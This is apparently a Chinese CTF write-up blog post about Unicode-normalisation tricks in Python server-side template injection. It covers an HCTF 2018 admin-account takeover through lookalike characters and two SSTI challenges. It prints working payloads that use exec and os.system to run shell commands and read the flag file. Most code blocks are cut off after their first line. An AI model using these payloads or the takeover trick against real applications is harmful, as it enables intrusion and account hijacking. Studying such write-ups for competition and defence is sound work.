Unicode编码与Python中的SSTI
记一下关于最近遇到的两题SSTI中有关Unicode绕过的题。
0x00
HCTF 2018的题,在/change页面右键源代码提示了源码。
然后就是审计了,共三种解法,单独记录一下Unicode相关的。
关于Unicode编码的绕过
在routes.py下,路由/change和/register以及/login中在处理用户名都调用了一个方法strlower(),跟进看一下,调用了nodeprep.prepare()。
查了一下相关资料,即该函数会将Unicode编码中特殊的畸形字符转化为对应的大写英文,将大写英文转化成对应的小写英文。
特殊的畸形字符:比如上下标的ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
1  | # ......  | 
因此思路如下:
- 注册用户ᴬdmin,转换后变成Admin存入数据库。
 - 登陆用户ᴬdmin,转换后,实际登陆的是Admin。
 - 修改用户,从session中取值Admin,转换后变成admin存入数据库。
 - 最后直接登陆admin。
 
0x01
1  | from flask import Flask,render_template,request,send_from_directory  | 
在Equ处进行了一次黑名单判断,如果存在blacklist中的字符则停止解析。
根据HCTF那题的源码,编写一下Payload生成脚本。
1  | import string  | 
Payload附上。
1  | left=print("a")&right=print(exec(request.args["1"]))  | 
构造请求如下。
1  | POST /equ.php?1=__import__(%27os%27).system(%27cat%20/flag%20%3E%20templates/index.html%27)  | 
0x02
2022虎符决赛的一题。
1  | import tornado.ioloop, tornado.web, tornado.options, os  | 
一样的思路,Payload附上。
1  | tornado={{a=list(vars(request))[3]}}{{b=list(vars(request)[a])[-2]}}{{exec(vars(request)[a][b])}}  | 
构造请求如下。
1  | POST /  | 
别的什么
原理大概是和Python解释器的编码读取问题相关,翻了一下暂时不是太想深究下去XD。
- 字符串是以Unicode编码的。
 - 解释器默认是以UTF-8读取源码的。
 
1  | exec("print('1')")  | 
可以直接在3中执行,2中会报错。